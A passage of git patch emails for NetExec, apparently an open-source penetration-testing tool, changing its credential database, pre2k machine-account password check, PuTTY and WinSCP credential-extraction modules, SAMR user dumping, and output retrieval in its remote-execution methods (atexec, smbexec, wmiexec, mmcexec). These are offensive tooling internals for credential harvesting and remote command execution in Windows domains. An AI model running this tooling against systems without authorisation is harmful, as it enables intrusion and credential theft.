+ hostname, + domain, + os + ] + ) + print_table(data, title="Host") + + def help_hosts(self): + help_string = """ + hosts [filter_term] + By default prints all hosts + Table format: + | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' | + Subcommands: + filter_term - filters hosts with filter_term + If a single host is returned (e.g. `hosts 15`, it prints the following tables: + Host | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' | + Otherwise, it prints the default host table from a `like` query on the `ip` and `hostname` columns + """ + print_help(help_string) + + def display_creds(self, creds): + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] + + for cred in creds: + cred_id = cred[0] + domain = cred[1] + username = cred[2] + password = cred[3] + credtype = cred[4] + + data.append( + [ + cred_id, + credtype, + domain, + username, + password + ] + ) + print_table(data, title="Credentials") + + def do_creds(self, line): + filter_term = line.strip() + + if filter_term == "": + creds = self.db.get_credentials() + self.display_creds(creds) + elif filter_term.split()[0].lower() == "add": + args = filter_term.split()[1:] + + if len(args) == 3: + domain, username, password = args + if validate_ntlm(password): + self.db.add_credential("hash", domain, username, password) + else: + self.db.add_credential("plaintext", domain, username, password) + else: + print("[!] Format is 'add domain username password") + return + elif filter_term.split()[0].lower() == "remove": + args = filter_term.split()[1:] + + if len(args) != 1: + print("[!] Format is 'remove '") + return + else: + self.db.remove_credentials(args) + elif filter_term.split()[0].lower() == "plaintext": + creds = self.db.get_credentials(cred_type="plaintext") + self.display_creds(creds) + elif filter_term.split()[0].lower() == "hash": + creds = self.db.get_credentials(cred_type="hash") + self.display_creds(creds) + else: + creds = self.db.get_credentials(filter_term=filter_term) + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] + cred_id_list = [] + + for cred in creds: + cred_id_list.append(cred[0]) + data.append([cred[0], cred[1], cred[2], cred[3], cred[4]]) + + print_table(data, title="Credential(s)") + + def help_creds(self): + help_string = """ + creds [add|remove|plaintext|hash|filter_term] + By default prints all creds + Table format: + | 'CredID', 'CredType', 'Domain', 'UserName', 'Password' | + Subcommands: + add - format: "add domain username password " + remove - format: "remove " + plaintext - prints plaintext creds + hash - prints hashed creds + filter_term - filters creds with filter_term + If a single credential is returned (e.g. `creds 15`, it prints the following tables: + Credential(s) | 'CredID', 'CredType', 'Domain', 'UserName', 'Password' + Otherwise, it prints the default credential table from a `like` query on the `username` column + """ + print_help(help_string) + def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() From 4cd4dbbd838f656133177b8ed5e0eb255fdd7e86 Mon Sep 17 00:00:00 2001 From: Lou <2265505+shikatano@users.noreply.github.com> Date: Sun, 23 Mar 2025 12:14:42 -0400 Subject: [PATCH 362/376] modified the password used in pre2k.py for machine names longer than 14 characters --- nxc/modules/pre2k.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index 8fe1c460..d2afa507 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -94,7 +94,7 @@ class NXCModule: def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir): try: userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - password = username # Password is the machine name in lowercase + password = username[:14] # Password is the first 14 characters of the machine name in lowercase context.log.info(f"Getting TGT for {username}@{domain}") tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( From ccf81517a4e6392054e66e4fdc55e702aaa7b108 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 24 Mar 2025 12:23:50 -0400 Subject: [PATCH 363/376] Add db.add_creds for kerberos with SSL enforced --- nxc/protocols/ldap.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index cb4ef0be..bda242dc 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -382,6 +382,13 @@ class ldap(connection): self.check_if_admin() + if password: + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) + elif ntlm_hash: + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential("hash", domain, self.username, self.hash) + # Prepare success credential text self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}") From 52a28aa88d6915f357d7c5b82245de8a0b316458 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 24 Mar 2025 12:32:54 -0400 Subject: [PATCH 364/376] Formating --- nxc/protocols/ldap/database.py | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index ddc7dd9f..b3a2ae75 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -10,6 +10,7 @@ from sqlalchemy.exc import ( from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger + class database(BaseDB): def __init__(self, db_engine): self.UsersTable = None @@ -56,13 +57,7 @@ class database(BaseDB): ) sys.exit() - def add_host( - self, - ip, - hostname, - domain, - os - ): + def add_host(self, ip, hostname, domain, os): """Check if this host has already been added to the database, if not, add it in.""" hosts = [] updated_ids = [] @@ -236,4 +231,4 @@ class database(BaseDB): """Check if this host ID is valid.""" q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.db_execute(q).all() - return len(results) > 0 \ No newline at end of file + return len(results) > 0 From 45f899219cd8401da24a445f335629004ef6fa15 Mon Sep 17 00:00:00 2001 From: Testeur_2_stylos <59365136+Testeur-2-stylos@users.noreply.github.com> Date: Wed, 26 Mar 2025 10:16:54 +0100 Subject: [PATCH 365/376] Update smb.py to test smbv1 connection before writing in nxcdb Signed-off-by: Testeur_2_stylos <59365136+Testeur-2-stylos@users.noreply.github.com> --- nxc/protocols/smb.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b77e8769..8a19c5e8 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -282,6 +282,10 @@ class smb(connection): self.os_arch = self.get_os_arch() self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")) + # Check smbv1 + if not self.args.no_smbv1: + self.smbv1 = self.create_smbv1_conn(check=True) + try: self.db.add_host( self.host, @@ -300,10 +304,6 @@ class smb(connection): except Exception as e: self.logger.debug(f"Error logging off system: {e}") - # Check smbv1 - if not self.args.no_smbv1: - self.smbv1 = self.create_smbv1_conn(check=True) - # DCOM connection with kerberos needed self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" From 62ba3588ba3c4168375feef0d24435f2518cd86c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Mar 2025 09:21:18 -0400 Subject: [PATCH 366/376] Add Error handling for loading users into registry --- nxc/modules/putty.py | 28 ++++++++++++++++------------ 1 file changed, 16 insertions(+), 12 deletions(-) diff --git a/nxc/modules/putty.py b/nxc/modules/putty.py index ef21f997..13dce901 100644 --- a/nxc/modules/putty.py +++ b/nxc/modules/putty.py @@ -69,19 +69,23 @@ class NXCModule: def load_missing_users(self, unloaded_user_objects): """Load missing users into registry to access their registry keys.""" for user_object in unloaded_user_objects: - # Extract profile Path of NTUSER.DAT - reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] - key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] - user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] - rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) + try: + # Extract profile Path of NTUSER.DAT + reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] + user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) - # Load Profile - reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] - key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] + # Load Profile + reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] - self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}") - rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT") - rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) + self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}") + rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT") + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) + except rrp.DCERPCSessionError as e: + self.context.log.fail(f"Error loading user {user_object} into registry: {e}") + self.context.log.debug(traceback.format_exc()) def unload_missing_users(self, unloaded_user_objects): """If some user were not logged in at the beginning we unload them from registry.""" @@ -92,7 +96,7 @@ class NXCModule: self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}") try: rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object) - except Exception as e: + except rrp.DCERPCSessionError as e: self.context.log.fail(f"Error unloading user {user_object} in registry: {e}") self.context.log.debug(traceback.format_exc()) rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) From 9c8e6f43ca342f9ca99afd51094a64cacb7b143c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Mar 2025 09:40:46 -0400 Subject: [PATCH 367/376] Fix spec file --- netexec.spec | 1 + 1 file changed, 1 insertion(+) diff --git a/netexec.spec b/netexec.spec index 2e711d70..8b8b3c98 100644 --- a/netexec.spec +++ b/netexec.spec @@ -20,6 +20,7 @@ a = Analysis( 'aardwolf.commons.target', 'aardwolf.protocol.x224.constants', 'impacket.examples.secretsdump', + 'impacket.examples.regsecrets', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', From 71cfd4b3476a54d7de14df246f059ee5772b2a0d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Mar 2025 09:49:23 -0400 Subject: [PATCH 368/376] Move logoff above smbv1 check --- nxc/protocols/smb.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 8a19c5e8..100a3724 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -282,10 +282,16 @@ class smb(connection): self.os_arch = self.get_os_arch() self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")) + try: + # DCs seem to want us to logoff first, windows workstations sometimes reset the connection + self.conn.logoff() + except Exception as e: + self.logger.debug(f"Error logging off system: {e}") + # Check smbv1 if not self.args.no_smbv1: self.smbv1 = self.create_smbv1_conn(check=True) - + try: self.db.add_host( self.host, @@ -298,12 +304,6 @@ class smb(connection): except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") - try: - # DCs seem to want us to logoff first, windows workstations sometimes reset the connection - self.conn.logoff() - except Exception as e: - self.logger.debug(f"Error logging off system: {e}") - # DCOM connection with kerberos needed self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" From 718b9fe4b6f87870be614fd1d8cf5f1a31c4e43d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Mar 2025 19:38:02 -0400 Subject: [PATCH 369/376] Change variable name for export path and display export info line only when specified --- nxc/protocols/smb.py | 2 +- nxc/protocols/smb/samruser.py | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d61efa31..5f86826e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1291,7 +1291,7 @@ class smb(connection): return UserSamrDump(self).dump(requested_users=self.args.users) def users_export(self): - return UserSamrDump(self).dump(users_export=self.args.users_export) + return UserSamrDump(self).dump(dump_path=self.args.users_export) def computers(self): self.logger.fail("[REMOVED] Arg moved to the ldap protocol") diff --git a/nxc/protocols/smb/samruser.py b/nxc/protocols/smb/samruser.py index fe1af41d..43a6c868 100644 --- a/nxc/protocols/smb/samruser.py +++ b/nxc/protocols/smb/samruser.py @@ -41,7 +41,7 @@ class UserSamrDump: if self.password is None: self.password = "" - def dump(self, requested_users=None, users_export=None): + def dump(self, requested_users=None, dump_path=None): # Try all requested protocols until one works. for protocol in self.protocols: try: @@ -53,13 +53,13 @@ class UserSamrDump: self.logger.debug(f"Trying protocol {protocol}") self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host) try: - self.fetch_users(requested_users, users_export) + self.fetch_users(requested_users, dump_path) break except Exception as e: self.logger.debug(f"Connection with protocol {protocol} failed: {e}") return self.users - def fetch_users(self, requested_users, users_export): + def fetch_users(self, requested_users, dump_path): self.dce = DCERPC_v5(self.rpc_transport) self.dce.connect() self.dce.bind(samr.MSRPC_UUID_SAMR) @@ -135,10 +135,10 @@ class UserSamrDump: enumerationContext = enumerate_users_resp["EnumerationContext"] status = enumerate_users_resp["ErrorCode"] - self.logger.display(f"Enumerated {len(users):d} local users: {domain_name}") - self.logger.display(f"Writing {len(users):d} local users to {users_export}") - if users_export: - with open(users_export, "w+") as file: + self.logger.display(f"Enumerated {len(users)} local users: {domain_name}") + if dump_path: + self.logger.display(f"Writing {len(users)} local users to {dump_path}") + with open(dump_path, "w+") as file: file.writelines(f"{user}\n" for user in users) self.dce.disconnect() From 4eae4a2dd8430386c1207d37a2522a3510cd094d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Mar 2025 19:39:51 -0400 Subject: [PATCH 370/376] Make help description more precise --- nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index af81d321..8ea7b967 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -46,7 +46,7 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.") mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.") - mapping_enum_group.add_argument("--users-export", help="Output domain users to a file") + mapping_enum_group.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="Enumerate domain groups, if a group is specified than its members are Enumerated") mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users") mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated") From a449284d2092c886fc1a0e51b4cad5cce2d8238f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Mar 2025 19:41:42 -0400 Subject: [PATCH 371/376] Fix logic for debug output when user is specified --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 5f86826e..b4604ebc 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1286,7 +1286,7 @@ class smb(connection): return def users(self): - if self.args.users is not None: + if self.args.users: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") return UserSamrDump(self).dump(requested_users=self.args.users) From 75eecab8ed32dd34a9f62ecbecd799fc901685a7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Mar 2025 19:52:48 -0400 Subject: [PATCH 372/376] Convert --users-export to the same structure as in ldap --- nxc/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b4604ebc..bcea9c97 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1288,10 +1288,10 @@ class smb(connection): def users(self): if self.args.users: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") - return UserSamrDump(self).dump(requested_users=self.args.users) + return UserSamrDump(self).dump(requested_users=self.args.users, dump_path=self.args.users_export) def users_export(self): - return UserSamrDump(self).dump(dump_path=self.args.users_export) + self.users() def computers(self): self.logger.fail("[REMOVED] Arg moved to the ldap protocol") From 37efce100a9febcb49a092ec3e0dec4d5720ea83 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Mar 2025 20:02:43 -0400 Subject: [PATCH 373/376] Fix logic when checking if args where specified and improve help text --- nxc/protocols/ldap.py | 4 ++-- nxc/protocols/ldap/proto_args.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4d38e008..724c78fc 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -653,7 +653,7 @@ class ldap(connection): ------- None """ - if self.args.users is not None: + if self.args.users: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: @@ -679,7 +679,7 @@ class ldap(connection): # We default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") users.append(user.get("sAMAccountName", "")) - if self.args.users_export is not None: + if self.args.users_export: self.logger.display(f"Writing {len(resp_parse):d} local users to {self.args.users_export}") with open(self.args.users_export, "w+") as file: file.writelines(f"{user}\n" for user in users) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index ecf73980..1c007914 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -21,8 +21,8 @@ def proto_args(parser, parents): vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") - vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users") - vgroup.add_argument("--users-export", help="Output domain users to a file") + vgroup.add_argument("--users", nargs="*", help="Enumerate domain users") + vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") From a2b336d94a313785a32a48fddb29777341b14188 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 30 Mar 2025 09:14:58 -0400 Subject: [PATCH 374/376] Remove command execution to enumerate local users and improve error handling --- nxc/modules/winscp.py | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/nxc/modules/winscp.py b/nxc/modules/winscp.py index 15afb971..85db2790 100644 --- a/nxc/modules/winscp.py +++ b/nxc/modules/winscp.py @@ -8,12 +8,14 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations +from impacket.smbconnection import SessionError from urllib.parse import unquote from io import BytesIO import re import configparser + class NXCModule: """Module by @NeffIsBack""" @@ -306,7 +308,11 @@ class NXCModule: context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.debug(traceback.format_exc()) finally: - remote_ops.finish() + try: + remote_ops.finish() + except rrp.DCERPCSessionError as e: + # Likely can't stop rrp due to other services dependending on it + context.log.debug(f"Error finishing remote operations: {e}") # ==================== Handle Configs ==================== def decode_config_file(self, context, confFile): @@ -346,14 +352,19 @@ class NXCModule: context.log.debug(traceback.format_exc()) else: context.log.display("Looking for WinSCP creds in User documents and AppData...") - output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True) - users = [row.strip() for row in output.split("\r\n")[2:]] + users = [] + out = connection.conn.listPath(self.share, "\\Users\\*") + for obj in out: + if obj.get_longname() in [".", ".."] or not obj.is_directory(): + continue + else: + users.append(obj.get_longname()) # Iterate over found users and default paths to look for WinSCP.ini files for user in users: paths = [ - ("\\Users\\" + user + "\\Documents\\WinSCP.ini"), - ("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"), + (f"\\Users\\{user}\\Documents\\WinSCP.ini"), + (f"\\Users\\{user}\\AppData\\Roaming\\WinSCP.ini"), ] for path in paths: conf_file = "" @@ -362,9 +373,12 @@ class NXCModule: connection.conn.getFile(self.share, path, buf.write) conf_file = buf.getvalue().decode() context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...") - except Exception as e: + except SessionError as e: context.log.debug(f"No config file found at '{self.share + path}': {e}") - if conf_file: + except Exception as e: + context.log.fail(f"Error getting config file at '{self.share + path}': {e}") + context.log.debug(traceback.format_exc()) + else: self.decode_config_file(context, conf_file) def on_admin_login(self, context, connection): From 3897ceeb0afe5d28cffcd96913d6c17d40f87b5f Mon Sep 17 00:00:00 2001 From: jdholtz Date: Mon, 31 Mar 2025 11:30:08 -0700 Subject: [PATCH 375/376] smb: Prevent infinite loops handling an unknown error retrieving command output When an error like 'Broken pipe' occurs while trying to read the output file from a command, the number of tries is not incremented, causing an infinite loop fetching the output file (if this error keeps happening). Now, the number of tries is incremented in this case. Also, the debug messages were slightly improved to be more clear when failing to retrieve output. --- nxc/protocols/smb/atexec.py | 12 +++++++----- nxc/protocols/smb/mmcexec.py | 12 +++++++----- nxc/protocols/smb/smbexec.py | 14 +++++++------- nxc/protocols/smb/wmiexec.py | 12 +++++++----- 4 files changed, 28 insertions(+), 22 deletions(-) diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 00bba6fe..105983d4 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -176,7 +176,7 @@ class TSCH_EXEC: ":".join(map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() - tries = 0 + tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: @@ -185,7 +185,7 @@ class TSCH_EXEC: smbConnection.getFile(self.__share, self.__output_filename, self.output_callback) break except Exception as e: - if tries > self.__tries: + if tries >= self.__tries: self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): @@ -197,15 +197,17 @@ class TSCH_EXEC: # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...") + self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...") + self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: - self.logger.debug(str(e)) + self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") + tries += 1 + sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") diff --git a/nxc/protocols/smb/mmcexec.py b/nxc/protocols/smb/mmcexec.py index 3112a374..538ddf38 100644 --- a/nxc/protocols/smb/mmcexec.py +++ b/nxc/protocols/smb/mmcexec.py @@ -249,7 +249,7 @@ class MMCEXEC: self.__outputBuffer = "" return - tries = 0 + tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: @@ -258,7 +258,7 @@ class MMCEXEC: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: - if tries > self.__tries: + if tries >= self.__tries: self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): @@ -270,15 +270,17 @@ class MMCEXEC: # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: - self.logger.debug(str(e)) + self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") + tries += 1 + sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index 2f9a6843..73dd59f2 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -141,16 +141,14 @@ class SMBEXEC: self.__outputBuffer = "" return - # TODO: It looks like the service is hanging anyway until the command is finished, so all this timeout logic is likely not needed - # Still adding this for now to keep the structure similar until we can confirm the above - tries = 0 + tries = 1 while True: try: self.logger.info(f"Attempting to read {self.__share}\\{self.__output}") self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: - if tries > self.__tries: + if tries >= self.__tries: self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): @@ -162,15 +160,17 @@ class SMBEXEC: # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: - self.logger.debug(str(e)) + self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") + tries += 1 + sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") diff --git a/nxc/protocols/smb/wmiexec.py b/nxc/protocols/smb/wmiexec.py index 6fad376a..6c762eee 100755 --- a/nxc/protocols/smb/wmiexec.py +++ b/nxc/protocols/smb/wmiexec.py @@ -140,7 +140,7 @@ class WMIEXEC: self.__outputBuffer = "" return - tries = 0 + tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: @@ -149,7 +149,7 @@ class WMIEXEC: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: - if tries > self.__tries: + if tries >= self.__tries: self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method") break elif "STATUS_BAD_NETWORK_NAME" in str(e): @@ -161,15 +161,17 @@ class WMIEXEC: # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) elif "STATUS_SHARING_VIOLATION" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") sleep(1) tries += 1 elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...") + self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: - self.logger.debug(f"Exception when trying to read output file: {e}") + self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") + tries += 1 + 